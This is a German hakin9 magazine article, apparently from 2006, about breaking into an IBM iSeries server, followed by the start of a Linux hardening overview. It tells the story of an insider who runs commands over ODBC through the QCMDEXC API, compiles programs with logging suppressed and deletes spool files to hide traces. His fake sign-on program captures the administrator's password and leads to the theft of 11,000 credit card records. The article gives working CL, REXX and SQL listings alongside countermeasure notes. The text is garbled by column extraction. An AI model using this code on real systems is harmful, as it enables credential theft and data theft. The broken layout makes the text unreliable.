Die ATTN-Taste, auf einer PC-Tastatur als [Esc] abgebildet, ruft standardmäßig ein Menü für den AS/400Benutzer im interaktiven Modus, das auf seine typischen Aufgaben und auf zusätzliche Informationen über das System verweist. Der Bildschirm automatische Anmeldung wird angezeigt, während die Sitzung noch aktiv ist, und damit auch die ATTN-Taste. Wenn NANAFTP als ein Benutzer ohne Zugriffseinschränkungen definiert wäre, könnte Julius auf das System interaktiv in der iSeries-Äquivalente einer *NIX-Shell zugreifen. So wie es ist, verfügt NANAFTP nur über beschränkte Möglichkeiten und kann nicht interaktiv arbeiten. Da die meiste Arbeit von Julius mit der iSeries-Datenbank verbunden ist, und weil die eingebauten iSeriesTools für ihn immer noch nicht zugänglich sind, entscheidet sich Julius, ODBC bei der weiteren Erkundung des Servers einzusetzen.

ODBC zur Hilfe

Nachdem Julius die ODBC-Anbindung an den iSeries-Server auf seinem Arbeitsplatz eingerichtet hat, beginnt er, sich im Dateninventar umzusehen. Der DB2-Katalog ist ein Satz von Tabellen und Ansichten mit Angaben über Datenbankschemata, Tabellen, Spalten, Ansichten, Constraints, Funktionen und gespeicherte Prozeduren. Der Katalog enthält sogar Einträge für Objekte, die mit den traditionellen, nicht SQL-gestützten Methoden von AS/400 angelegt worden sind. Zuerst sucht Julius nach Namen der Tabellen, deren Beschreibungen eine der Ketten credit, card oder cc enthalten und die nicht in Systembibliotheken aufbewahrt werden (also nicht mit dem Buchstaben Q beginnen). Er filtert auch Indizes, Ansichten und Aliasse weg und lässt nur die Namen echter Tabellen ausgeben, die im iSeries-Jargon als Physical Files bezeichnet werden: select system_table_name, system_table_schema,

Abbildung 4. Der ATTN-Schlüssel öffnet das OS/400 Operational Assistant Fenster where system_table_schema

numeric_precision

not like 'Q%'

from qsys2.syscolumns

and ( lower(table_text)

where system_table_schema

like '%credit%'

not like 'Q%'

or lower(table_text)

and (lower(column_text)

like '%card%'

like '%credit%'

or lower(table_text)

or lower(column_text)

like '%cc%' )

like '%card%'

and table_type != 'L';

or lower(column_text)

Um die Suchergebnisse zu ergänzen, durchsucht Julius auch die Beschreibungen von Spalten: select system_table_schema, system_table_name, system_column_name, column_text, data_type, length, numeric_scale,

like '%cc%' ) ;

Anschließend vergleicht er die beiden Listen und entdeckt, dass die XACC-Tabelle aus der APLIBF-Bibliothek einen guten Kandidaten für die Aufbewahrung von Informationen über Kreditkarten ausmacht. Die Frage ist: darf Julius auf die XACCDatenbankdatei zugreifen?

Tabelle 4. Zugriffskontrollliste für die Kreditkartendatei BENUTZER

BERECHTIGUNGEN AUFS OBJEKT

OBJEKT

BIBLIOTHEK

TYP

BESITZER

SSA42

*ALL

APLIBF

QSYS

*LIB

SSA42

BOGUS

*CHANGE

APLIBF

QSYS

*LIB

SSA42

file_type, table_text,

QSECOFR *ALL

APLIBF

QSYS

*LIB

SSA42

column_count

*PUBLIC

APLIBF

QSYS

*LIB

SSA42

from qsys2.systables

20

Abbildung 3. Automatische Abmeldung

hakin9 Nr. 2/2006

*EXCLUDE

www.hakin9.org

Knacken eines IBM iSeries-Servers

ODBC und JDBC für iSeries

ODBC-Treiber für das iSeries-DB2-Datenbanksystem können von mehreren Quellen bezogen werden. Einige davon sind: •

•

eine Komponente des Client Access ist der ODBC-Treiber. Client Access ist auf jedem iSeries-Server zu finden, und zwar im /QIBM/ProdData/CA400/Express/Install/Image Verzeichnis. In vielen Fällen ist der Windows NetShare CIFS Dienst aktiv, und standardmäßig enthält er einen Share namens QCA400, der auf das CA400 -Verzeichnis abgebildet wird; Microsoft stellt einen ODBC-Treiber für iSeries in seinem Host Integration Server zur Verfügung.

Vor Kurzem hat Microsoft einen (für MS-SQL-Nutzer) kostenlosen OLE-DB-Treiber für iSeries herausgegeben, der unter: http://www.microsoft.com/downloads/details.aspx?familyid=D

09C1D60-A13C-4479-9B91-9E8B9D835CDC&displaylang=en zu finden ist. • •

ODBC steht auch für Linux zur Verfügung: http://www03.ibm.com/servers/eserver/iseries/access/linux; noch eine andere Option für Datenbankbehandlung ist JDBC. JDBC-Treiber von IBM befinden sich unter dem Namen jt400.jar im /QIBM/ProdData/HTTP/Public/jt400/ lib/ Verzeichnis. Wer quelloffene Lösungen bevorzugt, kann das von IBM finanzierte JTOpen-Projekt unter http:// w w w- 03 .ibm.com /ser vers / eser ver / iser ies / toolbox / downloads.html unter die Lupe nehmen.

Abbildungen 5 bis 15 zeigen, wie der ODBC-Treiber für IBM iSeries einzurichten ist, und wie er mit einem Tool verwendet werden kann, das in jeder Installation von Microsoft Office vorhanden ist, und zwar mit MS-Query.

Er entscheidet sich, zuerst zu überprüfen, ob er über die Zugriffsberechtigung auf die AP-

Abbildung 7. Auswahl der Datenquelle Abbildung 5. Erstellung eines DSN für iSeries DB2 – der Servername bzw. seine IP-Adresse sind die einzigen Pflichtfelder in einer neuen DSNDefinition; die anderen Optionen belassen wir bei Standardeinstellungen

Abbildung 8. Eingabe des zu verwendenden Benutzernamens und Passworts

Abbildung 6. Der Aufruf von MS-Query aus Excel heraus – MS-Query kann autonom mit der MSQRY32.EXE-Datei im Office-Verzeichnis gestartet werden; der Aufruf aus Excel heraus lässt uns die Ausgabe an einer permanenten Stelle speichern

www.hakin9.org

Abbildung 9. Auslassen der intelligenten Datenbankmanipulation – wir brauchen nur einen direkten Weg, SQL-Abfragen vorzugeben

hakin9 Nr. 2/2006

21

Was in ist

Abbildung 10. Druck auf die SQL-Schaltfläche – dies ist die von Julius ausgeführte SQL-Abfrage

Abbildung 14. Ein Erfolg beim Einspeisen neuer Daten wird gemeldet – auf dieselbe Art und Weise können wir Programme und gespeicherte Prozeduren ausführen, allerdings kann der Bestätigungsdialog dann etwas anders aussehen

Abbildung 15. Erfolgreiche Ausführung einer gespeicherten Prozedur bzw. eines Programms LIBF-Bibliothek verfügt, die die Kreditkartendatei enthält. Er weiß, dass iSeries sowohl die Berechtigungen für die Bibliothek, als auch für die Datei prüft, und dass ein Versuch, die Berechtigungen für eine Datei in einer gesperrten Bibliothek zu überprüfen in einem Sicherheitsalert resultieren kann, während bei der Prüfung der Bibliothek das Risiko nicht besteht.

Umgehen der Einschränkungen für Benutzer mit beschränkten Privilegien

Julius kann nicht in einer interaktiven Telnet-Sitzung arbeiten, da der Account, den er nutzt, NANAFTP, mit Beschränkungen belegt ist. Solch ein Benutzer darf praktisch nichts

Abbildung 11. Ausgabe einer Katalogabfrage

Gegenmaßnahmen gegen freies Auslesen der Systeminhalte Abbildung 12. Einspeisen von Daten in die Datenbank aus MS-Query

Abbildung 13. Warnung beim Einspeisen von Daten in die Datenbank – wir ignorieren sie

22

hakin9 Nr. 2/2006

Einerseits hat Balthasar den NANAFTP-Account korrekt eingerichtet. Der Benutzer sollte über beschränkte Privilegien verfügen und automatisch abgemeldet werden, allerdings wäre ein Anmeldeprogramm mit einem Aufruf des SIGNOFF-Befehls wirksamer. Andererseits hat er die Absicherung und Einschränkung von ODBC auf nur die Benutzer, die es wirklich brauchen vernachlässigt, insbesondere da ODBC einen Fernnutzer Befehle ausführen lässt, die für einen Benutzer mit beschränkten Privilegien in interaktiver Sitzung gesperrt sind. Leider bietet nur Software dritter Hersteller solch eine Sicherheitsstufe. Was Balthasar sonst besser hätte machen können, ist die Verwaltung von Zugriffskontrolllisten für QGPL und für die APLIBF-Bibliotheken. QGPL sollte nicht standardmäßig Änderungen erlauben, und für BOGUS bestand keine geschäftsbedingte Ursache, über individuelle Privilegien für APLIBF zu verfügen.

www.hakin9.org

Was in ist

Listing 4. SQL-Abfrage für die Liste der Benutzerterminals und für die Beschreibung der Subsysteme /* creation of a source member to contain the CL program source */ call qcmdexc ('addpfm file(qgpl/qclsrc) mbr(monpwd1c) srctype(clp)', 0000000051.00000) create alias qgpl.al01 for qgpl/qclsrc (monpdw1c) /* creation of a flat file for the CPYSPLF command */ create table qgpl.splfcpy (splfcpy char (200 ) not null with default) /* insertion of the CL statements into the source member */ insert into qgpl.al01 (srcdta) values('pgm') with nc insert into qgpl.al01 (srcdta) values('wrkusrjob user(bogus) status(*all) output(*print) jobtype(*interact)') with nc insert into qgpl.al01 (srcdta) values('cpysplf file(qpdspsbj) tofile(qgpl/splfcpy) +') with nc insert into qgpl.al01 (srcdta) values(' splnbr(*last) mbropt(*add)') with nc insert into qgpl.al01 (srcdta) values('dspsbsd sbsd(qinter) output(*print)') with nc insert into qgpl.al01 (srcdta) values('cpysplf file(qprtsbsd) tofile(qgpl/splfcpy) +') with nc insert into qgpl.al01 (srcdta) values(' splnbr(*last) mbropt(*add)') with nc insert into qgpl.al01 (srcdta) values('endpgm') with nc /* fix source sequence numbers, or compiler will not run. */ update qgpl.al01 al01 set srcseq=rrn(al01) with nc /* compilation of the CL program – no listings created */ call qcmdexc ('crtclpgm pgm(qgpl/monpwd1c) srcfile(qgpl/qclsrc) log(*no) option(*nosource *nosrc *noxref *noseclvl *nosrcdbg *nolstdbg)', 0000000120.00000) /* removal of printed residual traces */ call qcmdexc ('dltsplf file(*select) select(*current *all *all *all)', 0000000054.00000) /* submission of the compiled program to batch */ call qcmdexc ('sbmjob cmd(call pgm(qgpl/monpwd1c)) log(0 0 *nolist) logclpgm(*no) dspsbmjob(*no)' , 0000000081.00000)

§

Listing 5. Das eigentliche monpwd1c-Programm, entstanden anhand Listing 4 pgm wrkusrjob user(bogus) status(*all) output(*print) jobtype(*interact) cpysplf file(qpdspsbj) tofile(qgpl/splfcpy) + splnbr(*last) mbropt(*add) dspsbsd sbsd(qinter) output(*print) cpysplf file(qprtsbsd) tofile(qgpl/splfcpy) + splnbr(*last) mbropt(*add) endpgm

Abbildung 16. Arbeit mit dem User Jobs Bericht

Abbildung 17. Der Display Subsystem Description Bericht

24

hakin9 Nr. 2/2006

www.hakin9.org

von der Kommandozeile aufrufen, auch wenn die ACL es zulässt. Ein Account mit beschränkten Privilegien ist auch nicht fähig, Befehle über den FTP-Server (mit dem quote rcmd Kommando) oder über REXEC zu übermitteln. Er darf allerdings Befehle aufrufen, die in Programmen umschlossen sind. Der Begriff Programme umfasst auch gespeicherte Prozeduren. Julius nutzt die Tatsache aus, dass jedes iSeries-Programm über ODBC aufgerufen werden kann, als wäre es eine gespeicherte Prozedur. Er beschließt sich der qcmdexc-API zu bedienen, die bei richtigen Parametern iSeries-Befehle ausführen kann. Die qcmdexc API erfordert eine korrekte Befehl-Zeichenkette und eine Dezimalzahl, die die genaue Länge dieser Kette angibt. Das Kommando, das Julius über qcmdexc aufruft, zeigt die Zugriffskontrollliste für das jeweils auf dem Bildschirm angezeigte Objekt, mit der output(*outfile)-Option legt es aber eine neue Datenbanktabelle mit der ACL an. Julius bedient sich der QGPL-Bibliothek, um die Zwischenergebnisse seiner Untersuchung zu speichern. Die Bibliothek ist auf fast jedem iSeries- und AS/400-Server vorhanden

Knacken eines IBM iSeries-Servers

Listing 6. SQL-Abfrage zur Erstellung von rexx-Skripten /* creation of a source member to contain the rexx program source */ call qcmdexc ('addpfm file(qgpl/qclsrc) mbr(monpwd3x) srctype(rexx)', 0000000052.00000) create alias qgpl.al03 for qgpl/qclsrc (monpdw3x) /* insertion of the rexx statements into the source member */ insert into qgpl.al03 (srcdta) values('arg p1') with nc insert into qgpl.al03 (srcdta) values('parse var p1 user password') with nc insert into qgpl.al03 (srcdta) values('address execsql') with nc insert into qgpl.al03 (srcdta) values('''execsql set transaction isolation level nc'' ') with nc insert into qgpl.al03 (srcdta) values('''execsql insert into qgpl/qmonpwd (u,p) '', ') with nc insert into qgpl.al03 (srcdta) values(' ''values(''''''user'''''',''''''password'''''')''') with nc /* fix source sequence numbers */ update qgpl.al03 al03 set srcseq=rrn(al03) with nc

und auf zu vielen ist die Zugriffsberechtigung darauf immer noch auf die Werkseinstellung allow changes eingestellt.

call qcmdexc

§

('dspobjaut obj(aplibf) objtype(*lib)

§

output(*outfile)

§

§

outfile(qgpl/dspobjp)', 0000000074.00000)

§

Julius sieht sich den Inhalt der neu angelegten Datei an:

Listing 7. Das eigentliche REXX monpwd3x anhand Listing 6 arg p1 parse var p1 user password address execsql 'execsql set transaction isolation level nc' 'execsql insert into qgpl/qmonpwd (u,p) ', 'values('''user''','''password''')'

select oausr, oaobja, oaname, oalib, oatype, oaown from qgpl.dspobjp;

Die Ergebnisse sind in Tabelle 4 dargestellt.

Listing 8. SQL-Abfrage zur Erstellung des gefälschten Bildschirms /* creation of a source member to contain the CL program source */ call qcmdexc ('addpfm file(qgpl/qclsrc) mbr(monpwd2c) srctype(clp)', 0000000051.00000) create alias qgpl.al02 for qgpl/qclsrc (monpdw2c) /* insertion of the CL statements into the source member */ insert into qgpl.al02 (srcdta) values('pgm parm(&devname)') with nc insert into qgpl.al02 (srcdta) values('dclf qdsignon') with nc insert into qgpl.al02 (srcdta) values('dcl var(&text) type(*char) len(80) ') with nc insert into qgpl.al02 (srcdta) values('monmsg msgid(cpf0000) exec(goto cmdlbl(error))') with nc insert into qgpl.al02 (srcdta) values('rtvneta sysname(&sysname)') with nc insert into qgpl.al02 (srcdta) values('chgvar var(&sbsname) value(''QINTER'')') with nc insert into qgpl.al02 (srcdta) values('chgvar var(&in01) value(''1'')') with nc insert into qgpl.al02 (srcdta) values('chgvar var(©right) value('' (C) ACME +') with nc insert into qgpl.al02 (srcdta) values(' CORPORATION. 1949, 2001.'') ') with nc insert into qgpl.al02 (srcdta) values('retry:') with nc insert into qgpl.al02 (srcdta) values('ovrdspf file(qdsignon) dev(&devname) waitfile(32767)') with nc insert into qgpl.al02 (srcdta) values('panel: ') with nc insert into qgpl.al02 (srcdta) values('sndrcvf rcdfmt(signon)') with nc insert into qgpl.al02 (srcdta) values('chgvar var(&text) value(&userid *bcat &passwrd)') with nc insert into qgpl.al02 (srcdta) values('strrexprc srcmbr(monpwd3x) srcfile(shalomc1/qpwdsrc) parm(&text)') with nc insert into qgpl.al02 (srcdta) values(' return') with nc insert into qgpl.al02 (srcdta) values('error: ') with nc insert into qgpl.al02 (srcdta) values('dlyjob dly(10)') with nc insert into qgpl.al02 (srcdta) values('goto cmdlbl(retry)') with nc insert into qgpl.al02 (srcdta) values('endpgm ') with nc /* fix source sequence numbers, or compiler will not run. */ update qgpl.al02 al02 set srcseq=rrn(al02) with nc /* compilation of the CL program – no listings created */ call qcmdexc ('crtclpgm pgm(qgpl/monpwd2c) srcfile(qgpl/qclsrc) log(*no) option(*nosource *nosrc *noxref *noseclvl *nosrcdbg *nolstdbg)', 0000000120.00000) /* removal of printed residual traces */ call qcmdexc ('dltsplf file(*select) select(*current *all *all *all)', 0000000054.00000)

§

www.hakin9.org

hakin9 Nr. 2/2006

25

Was in ist

Es steht sicher fest, dass Julius nicht über die erforderlichen Privilegien verfügt, auf die APLIBF-Bibliothek und ihren Inhalt zuzugreifen. BOGUS allerdings schon. Eine schnelle Suche im Active Directory lässt feststellen, dass BOGUS Balthasar Ogus, der Systemadministrator von iSeries ist. Julius erinnert sich, wie ihn Balthasar einmal in aller Öffentlichkeit erniedrigt hat, indem er ihn wegen überschrittener E-Mailquota anschrie, und beschließt, den BOGUS-Account zu übernehmen und für sein Exploit auszunutzen, so dass er gleich zwei Fliegen mit einer Klappe schlägt.

Erhöhung der Berechtigungen

Julius hat seine Versuche vor einer Woche begonnen und ist durch die ausbleibende Reaktion des IT-Departaments ermutigt. Das Knacken von Passwörtern mit der Brute-ForceTechnik ist in der iSeries-Umgebung unpraktisch, weil der Account nach wenigen Misserfolgen gesperrt wird und manuell wieder aktiviert werden muss. Julius will niemanden auf sich aufmerksam machen und hat einen anderen Plan. Er bringt Balthasar dazu, sein Passwort einem von Julius geschriebenen Programm zu verraten.

Informationen über das Opfer

Julius hat vor, ein Programm zu schreiben, das BOGUS einen gefälschten Anmeldebildschirm vorschiebt. Es muss einen Bildschirm nutzen, der den echten treu abbildet, sonst vermutet BOGUS etwas. Julius muss bestimmte Informationen ansammeln, und fängt mit den Namen der Arbeitsplatzsysteme, von denen sich BOGUS regelmäßig anmeldet. Diese Information wird in der Abreit mi dem User Jobs Bericht (siehe Abbildung 16) angegeben. Für diesen Bericht gibt es keine Möglichkeit, Daten in eine Datenbankdatei umzuleiten, iSeries stellt jedoch ein Tool namens CPYSPLF bereit, das die Druckerausgabe (bzw. eine Spooldatei) aus der Druckerwarteschlange in eine flache Datenbankdatei zu kopieren.

26

hakin9 Nr. 2/2006

Listing 9. Das eigentliche monpwd2c-Abfangprogramm anhand Listing 8 pgm parm(&devname) dclf qdsignon dcl var(&text) type(*char) len(80) monmsg msgid(cpf0000) exec(goto cmdlbl(error)) rtvneta sysname(&sysname) chgvar var(&sbsname) value('QINTER') chgvar var(&in01) value('1') chgvar var(©right) value(' (C) ACME + CORPORATION. 1949, 2001.') retry: ovrdspf file(qdsignon) dev(&devname) waitfile(32767) panel: sndrcvf rcdfmt(signon) chgvar var(&text) value(&userid *bcat &passwrd) strrexprc srcmbr(monpwd3x) srcfile(qgpl/qclsrc) parm(&text) return error: dlyjob dly(10) goto cmdlbl(retry) endpgm

Gegenmaßnahmen gegen Erhöhung der Berechtigungen

Es wurde bereits erwähnt, dass ODBC-gestützter Zugriff auf den iSeries-Server bei Trupex weit offen steht. Verbunden mit der Verfügbarkeit der QCMDEXC-API lässt diese Lücke das System anfällig für Manipulation. Für QCMDEXC sollte eine spezielle ACL erstellt werden, die den Zugriff darauf ausschließlich auf die Benutzer und Anwendungen beschränkt, die ihn wirklich brauchen. Das Sicherheitsprüfungsfeature – hier inaktiv – kann so eingerichtet werden, dass alle neuen Objekte, beispielsweise neu kompilierte Programme, und Aufrufe vorgegebener Befehle, wie CRTCLPGM, aufgezeichnet werden. Sicherheitsprüfung kann auch alle Zugriffsversuche – auch Lesezugriff – auf vorgegebene sensitive Dateien, wie die mit Informationen über Kreditkarten, aufzeichnen. Im Idealfall ist der Zugriff auf solche Daten nur für Benutzeraccounts zugelassen, die sich überhaupt nicht anmelden können, und wird von Software verwaltet, die die entsprechenden Privilegien annimmt. Noch ein Konfigurationsfehler Balthasars ist das öffentliche Zugriffsprivileg auf seine Terminals. Benutzer mit hohen Zugriffsberechtigungen sollten auf die Nutzung konkreter Geräte beschränkt werden und öffentlicher Zugriff darauf sollte als Vorbeugungsmaßnahme gegen solche Angriffe gesperrt werden.

Im Internet • • • • • • •

http://www.midrange.org – eine AS/400-Mailinglisten: Sehen Sie sich im Archiv herum, http://krypton.mnsu.edu/~j3gum/web/as400/intref.html – Einführung in AS/400, 2003 geschrieben, aber immer noch aktuell, http://publib.boulder.ibm.com/iseries/ – das IBM iSeries Infocenter ist Pflichtlektüre, http://www.woevans.com – Wayne O. Evans, Prüfungs-Kontrolliste, http://www.powertech.com/promotions/p-formitj2.html – PowerTechs Umfrage zur iSeries-Sicherheit, http://publib.boulder.ibm.com/iseries/v5r2/ic2924/books/c4153026.pdf – iSeriesSicherheitsreferenzbuch, http://www.venera.com – unter Links sind viele weitere Adressen von iSeries-Sicherheitsressourcen zu finden.

www.hakin9.org

Knacken eines IBM iSeries-Servers

Über den Autor

Shalom Carmel ist in Warschau, Polen geboren und lebt und arbeitet heute in Israel. Seine Laufbahn umfasst die Implementierung groß angelegter ERP-Projekte, WebMarketing, Unterrichten in einer Oberschule, Grafikdesign und Videobearbeitung sowie unendlich viele Jobs auf den Gebieten der Informationssysteme, des Technologie- und Sicherheitsconsultings. Zurzeit arbeitet er als Anwendungenarchitekt bei einer internationalen Pharmaziefirma. 2005 hat er ein Buch zu iSeries vom Standpunkt des Angreifers unter dem Titel Hacking iSeries veröffentlicht.

Weiter muss Julius wissen, wie die Bildschirmdatei des interaktiven Subsystems heißt, um den falschen Bildschirm echt aussehen zu lassen. Dieser Name steht im ersten Bildschirm des Display Subsystem Description Berichts (siehe Abbildung 17). Auch hier muss Julius CPYSPLF einsetzen. Diesmal können die Befehle nicht einfach über die QCMDEXC-API wie die vorigen aufgerufen werden. Druckausgabe aus einer ODBCVerbindung wird von einer separaten Aufgabe erstellt und wegen der Einschränkungen von CPYSPLF muss Julius alle Befehle aus einer einzelnen Aufgabe ausführen lassen. Daher schreibt er ein CL-Programm mit einem Aktionsskript für alle diese Befehle und schickt es zur Stapelausführung als eine separate, einzelne Aufgabe (siehe Listing 4 und 5). Die Erfolgsvoraussetzungen sind der Reihe nach:

Dieser Ansatz funktioniert, weil eine Quelldatei eigentlich eine Datenbanktabelle mit einem Sonderattribut ist und mit SQL-Anweisungen geschrieben und gelesen werden kann. Julius wählt QCLSRC, eine Quelldatei, die sich üblich in der QGPL-Bibliothek befindet, als Container für seinen Code. Julius schaut den Inhalt von SPLFCPY (Abbildung 16 und 17) vor und sieht, dass BOGUS normalerweise zwei Terminals nutzt: UKTBOGUS01 und UKTBOGUS02. Jetzt schreibt er den Code, der den gefälschten Bildschirm auf einem dieser Terminals anzeigt. Zuerst müssen einige Vorbereitungen getroffen werden. Julius legt eine neue Datenbanktabelle für das abgefangene Passwort an:

•

Das falsche Anmeldeprogramm ist in CL geschrieben, und CL darf nicht in die Datenbank schreiben. Julius braucht ein Hilfsskript, das das abgefangene Passwort in die neu angelegte qmonpwd-Tabelle einträgt. Er entdeckt, dass dieser iSeriesServer über keinen RPG-Compiler verfügt – wie es sich auch einer Produktionsmaschine gehört – also entscheidet er sich stattdessen für REXX (siehe Listing 6).

• • • • •

Erstellung eines Source-Members als Container für das CLProgramm; Anlegen einer flachen Datei für den CPYSPLF-Befehl; Einspeisen der CL-Anweisungen ins Source-Member; Kompilierung des CL-Programms; Vermittlung des kompilierten Programms zur Stapelausführung, Auslesen der Ausgabe.

create table qgpl.qmonpwd (u char (10 ) not null with default, p char (10 ) not null with default);

Über das Buch Hacking iSeries

Das erste Buchkapitel und das komplette Inhaltsverzeichnis des Buches sind auf der hakin9.live zu finden. Das Buch selbst können Sie unter http://www.venera.com/ order.htm kaufen. Während der normale Preis 39.90 USD beträgt, sind hakin9-Leser zu einem Rabatt von 15% berechtigt, wenn sie den Rabattcode hakin9 in das entsprechende Feld des Bestellformulars eingeben.

www.hakin9.org

Das CL-Programm selbst steht in Listing 8. Es versucht eine Bildschirmdatei auf ein Terminalgerät auszugeben und hat dabei nur Erfolg, wenn das Gerät nicht für einen anderen Nutzer alloziert ist, d.h. wenn es den echten Anmeldebildschirm anzeigt. Das Programm wartet die Höchstzeit für einen Gerättimeout – 32767 Sekunden, oder ca. 9 Stunden – ab. Danach versucht es erneut ad infinitum. Die Uhr zeigt 23:00. Vor der Aktivierung des monpwd2c-Abfangprogramms frischt Julius den Arbeitsplatzstatus für BOGUS auf und sieht, dass das UKTBOGUS02 -Gerät freigegeben ist. Er lässt monpwd2c im Stapelbetrieb mit dem entsprechenden Terminalnamen als Parameter ausführen und macht Feierabend: call qcmdexc

§

('sbmjob cmd(

§

call pgm(qgpl/monpwd2c) parm(UKTBOGUS02)) log(0 0 *nolist) logclpgm(*no)

§

dspsbmjob(*no)' , 0000000098.00000)

§ §

§

§

Wenn Balthasar am nächsten Morgen am Arbeitsplatz ankommt, liest er das Dilbert-Tagescomic und meldet sich am iSeries an, um den Systemzustand zu prüfen. Er gibt seinen Benutzernamen und sein Passwort ins die entsprechenden Felder ein und drückt [Eingabe]. Nichts passiert – der Bildschirm bleibt genau derselbe. Balthasar ist überrascht, versucht es noch einmal und diesmal erfolgt die Anmeldung problemlos. Julius ist den ganzen Tag lang nervös. Um 18:00 meldet er sich wieder als NANAFTP an, liest das Passwort von BOGUS aus der qmonpwd-Datei aus, meldet sich damit an, speist Angaben über insgesamt 11 Tausend Kreditkarten in eine Excel-Datei, speichert sie auf seinem USB-Flashdrive und verlässt Trupex um 19:30 das letzte Mal in seinem Leben. Game Over. l

hakin9 Nr. 2/2006

27

Festung Linux – eine Übersicht von Projekten Fokus Michał Piotrowski

Schwierigkeitsgrad

Linuxsysteme werden im Allgemeinen als äußerst resistent gegenüber von Einbrüchen bezeichnet. Falls wir jedoch auf die Sicherheit großen Wert legen, können sich die Standarddistributionen als unzureichend erweisen. Wir sehen uns einige der bekanntesten Methoden an, die die Sicherheit von Linux auf Kernelebene erhöhen.

E

s gibt keine sicheren oder unsicheren Betriebssysteme. Ob ein System sicher ist, hängt davon ab, wie es konfiguriert wurde, welche Schutzmaßnahmen eingesetzt wurden und wie es von einem Administrator gepflegt wird. All das hängt von Kenntnissen und der Erfahrung des Administrators ab. Selbst ein erfahrener Administrator ist jedoch nicht imstande, das System vor allen Angriffen zu schützen. Es gibt immer eine Gefahr seitens der so genannten Zero-Day-Exploits, da es sich hierbei um neue, kaum bekannte Anfälligkeiten handelt. Es gibt aber Methoden, mit deren Hilfe man das System auch vor solchen Gefahren schützen oder zumindestens deren Erfolgschancen minimieren kann. Die meisten Einbrüche in Linuxsysteme sind auf Software-Fehler zurückzuführen. Ein Eindringling nutzt häufig die Fehler aus, die einen Puffer-Überlauf (Stack und Heap), inkorrekte Verarbeitung von Formatierungszeichenketten und das Auftreten von Race Conditions ermöglichen. Angriffe, die falsch konfigurierte Zugriffsrechte für Systemressourcen und Fehler in Netzwerkprotokollen ausnutzen, sind seltener. Zusätzliche Mechanismen, die dem Schutz von Linuxsystemen dienen, können in vier Gruppen unterteilt werden:

28

hakin9 Nr. 2/2006

• • • •

jene, die den Speicher im Kernel schützen; jene, die das Überwachen des Zugangs zum System (Zugriffskontrolle) ermöglichen; jene, die den Speicher im Compiler schützen; andere (z.B. Randomisierung, detaillierte Zugriffseinschränkungen, Loggen von Ereignissen usw.).

In diesem Artikel erfahren Sie… •

welche zusätzliche Mechanismen zur besseren Sicherheit von Linux beitragen,

• •

worin sie bestehen und wovor sie schützen, welche Mechanismen für bestimmte Zwecke besser geeignet sind als andere, wie sie installiert und verwendet werden.

Was Sie vorher wissen/können sollten… •

Sie sollten über Grundkenntnisse der Administration von Linuxsystemen verfügen,

•

Sie sollten die grundlegenden Regeln der Sicherheit von Betriebssystemen und Computernetzwerken kennen.

www.hakin9.org

Übersicht von Mechanismen zur Erhöhung der Sicherheit von Linux

Tabelle 1. Lösungen, die zur Erhöhung der Sicherheit von Linux beitragen Gruppe

Openwall PaX StackGuard

Schutz des Speichers im Kernel

Ja

Ja Ja

Zugriffskontrolle

Openwall

Der Autor des Projekts Openwall ist Alexander Peslyak alias Solar Designer. Er ist außerdem der Schöpfer eines Tools zum Knacken von Passwörtern namens John the Ripper sowie der Distribution Owl.

Ja Openwall hieß ursprünglich Secure Linux Patch. Die erste Version ist bereits im Januar 1998 erschienen und wurde in dem Kernel der Serie 2.0 verwendet. Der Patch wird immer noch entwickelt – allerdings ist noch keine Version für die Serie 2.6 verfügbar. Der Autor meint, dass die Anwendung des Mechanismus im neuen Kernel erst ab der Version 2.6.20 sinnvoll wäre.

Zum Schutz des Prozessspeichers im Kernel werden zwei grundlegende Mechanismen eingesetzt. Mithilfe der ersten Methode können wir einem Speicherbereich entweder Schreibrechte oder Rechte zur Ausführung eines Codes verleihen; die Zweite ermöglicht eine Randomisierung. Der Speicher von Programmen, die durch das Betriebssystem gestartet werden, besteht aus einigen Elementen, die Segmente genannt werden.

•

einem Codesegment (das den ausführbaren Code des Programms enthält); einem Datensegment (beinhaltet statische und globale Variablen); Stack (beinhaltet temporäre Daten – lokale Variablen und Funktionsparameter); Heap (beinhaltet temporäre Daten, die vom Programm allokiert und deallokiert werden, z.B. mithilfe der Funktion malloc()); im Speicher befindet sich auch ein Mapping von Funktionen, die dem Programm zur Verfügung gestellt werden. Sie stammen aus Shared-Libraries, wie z.B. printf(), system() usw.

Der Standard-Linux-Kernel verleiht den Segmenten zu viele Rechte. Man kann zum Beispiel auf dem Stack nicht nur Daten speichern sondern auch einen Code ausführen, was für Puffer-Überlauf-Angriffe (engl. buffer overflow), die auf dem Stack den Code eines Prozesses platzieren und ausführen, besonders attraktiv ist. Damit das System vor solchen Angriffen geschützt werden kann, müssen die sicherheitsrelevanten Mechanismen die voreingestellten Berechtigungen für die jeweiligen Speichersegmente ändern. So werden einem Prozess entweder Rechte zum Schreiben oder Rechte zum Ausführen eines Codes, der sich im Speicher befindet, verliehen. Der Stack wird zum Beispiel nicht ausführbar (engl. non-executable) gemacht. Dennoch kann ein nicht ausführbarer Stack zu einem anderen Angriff verwendet werden, der als Return to libc bezeichnet wird. Im Falle dieses Angriffs wird auf dem Stack ein bestimmter Aufruf einer Shared-Funktion erstellt – in der Regel handelt es sich hier um die Funktion system() mit dem Parameter /bin/sh. Dadurch kann der Einbrecher die Kontrolle an eine Funktion übergeben, die die Systemoberfläche startet oder andere Operationen durchführt. Damit der Angriff erfolgreich sein kann, muss der Angreifer lediglich die Adresse der Funktion system() im Speicher des Prozesses kennen. Dies kann mithilfe des zweiten Mechanismus – der Randomisierung – unterbunden werden. Dank der Randomisierung werden die einzelnen Speichersegmente und Adressen von Shared-Funktionen nach jedem Programmstart geändert. Ein Eindringling ist also nicht imstande, die richtigen Adressen von Shared-Funktionen zu erraten und kann sie dadurch nicht aufrufen.

www.hakin9.org

RSBAC Ja (enthält PaX)

Ja

Schutz des Speichers im Kernel

• • • •

LIDS SELinux

Ja (enthält PaX)

Schutz des Speichers im Compiler In der Tabelle 1 wurden die einzelnen Lösungen vorgestellt und der jeweiligen Gruppe zugeordnet.

SSP grsecurity

Ja

Ja

Ja

Schutzmechanismen

Openwall bietet einige Schutzmechanismen. Die zwei wichtigsten (siehe Kasten Schutz des Speichers im Kernel) sind: •

•

unterbinden der Ausführung eines Codes auf dem Stack eines Prozesses (dadurch werden die meisten Exploits, die auf dem Puffer-Überlauf basieren, vereitelt); Randomisierung der Adressen von Shared-Libraries (dies unterbindet die Return-to-libc-Angriffe).

